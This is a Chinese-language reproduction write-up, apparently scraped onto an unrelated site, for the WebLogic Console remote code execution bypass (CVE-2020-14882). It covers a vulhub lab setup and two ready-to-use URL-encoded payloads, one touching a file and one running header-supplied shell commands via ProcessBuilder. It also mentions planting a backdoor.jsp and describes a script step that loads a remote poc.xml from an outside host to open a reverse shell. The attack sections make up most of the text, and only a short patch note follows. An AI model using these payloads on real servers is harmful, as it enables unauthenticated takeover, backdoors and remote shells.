Weblogic Console远程代码执行漏洞(CVE |
您所在的位置:网站首页 › csgo持枪移动抖动指令怎么用 › Weblogic Console远程代码执行漏洞(CVE |
目录 一 、漏洞描述 二 、影响版本 三 、漏洞利用 环境搭建 漏洞复现 四 、漏洞修复 一 、漏洞描述WebLogic远程代码执行漏洞(漏洞编号:CVE-2020-14882)的补丁存在绕过风险,远程攻击者可以构造特殊的 HTTP 请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic ServerConsole 执行任意代码。 二 、影响版本Oracle WeblogicServer 10.3.6.0.0 Oracle WeblogicServer 12.1.3.0.0 Oracle WeblogicServer 12.2.1.3.0 Oracle WeblogicServer 12.2.1.4.0 Oracle WeblogicServer 14.1.1.0.0 三 、漏洞利用 环境搭建操作系统:Ubuntu 20.04.2 LTS 此处利用vulhub的环境进行复现,开启docker-compose环境:docker-compose up -d 漏洞复现1. 访问漏洞环境:http://your-ip:7001/console/login/LoginForm.jsp 2. 手工式利用 方法一: 1)根据不同需求进行Pyload构造。此处是通过在/tmp目录创建111.txt进行验证: Pyload1: http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/111.txt%27);%22)方法二: 1)用burpsuit抓包,通过绕过后台,提交如下的Pyload2 Pyload2: /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')2)知道了当前页面的路径为/u01/oracle/user_projects/domains/base_domain,然后我们就可以在该目录下写入后门文件,此时是通过向backdoor.jsp输入一句话 3. 复现成功,效果如下: Pyload1结果: Pyload2结果: 4. 脚本化利用 1)首先测试脚本是否可以正常使用,执行命令“python CVE-2020-14882_ALL.py -u http://192.168.17.134:7001 -c "whoami"”,发现返回“oracle”,证明脚本可用 2)通过外置xml文件执行无回显命令,首先编辑好poc.xml文件,并将poc.xml放在python39目录下 3)开启8000端口(目的是可以访问poc.xml) 4)此时访问8000端口可以发现poc.xml 5)使用ncat开启2233端口(目的是在这里反弹shell) 6)执行命令(python=python3) python CVE-2020-14882_ALL.py -u http://192.168.17.134:7001 -x http://192.168.0.100:8000/poc.xml7)此时监听的2233端口反弹shell 四 、漏洞修复目前 Oracle 官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。Oracle 官方补丁需要用户持有正版软件的许可账号,使用该账号登陆 https://support.oracle.com 后,可以下载最新补丁。 临时修补建议 暂时对外关闭后台 /console/console.portal 的访问权限。 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |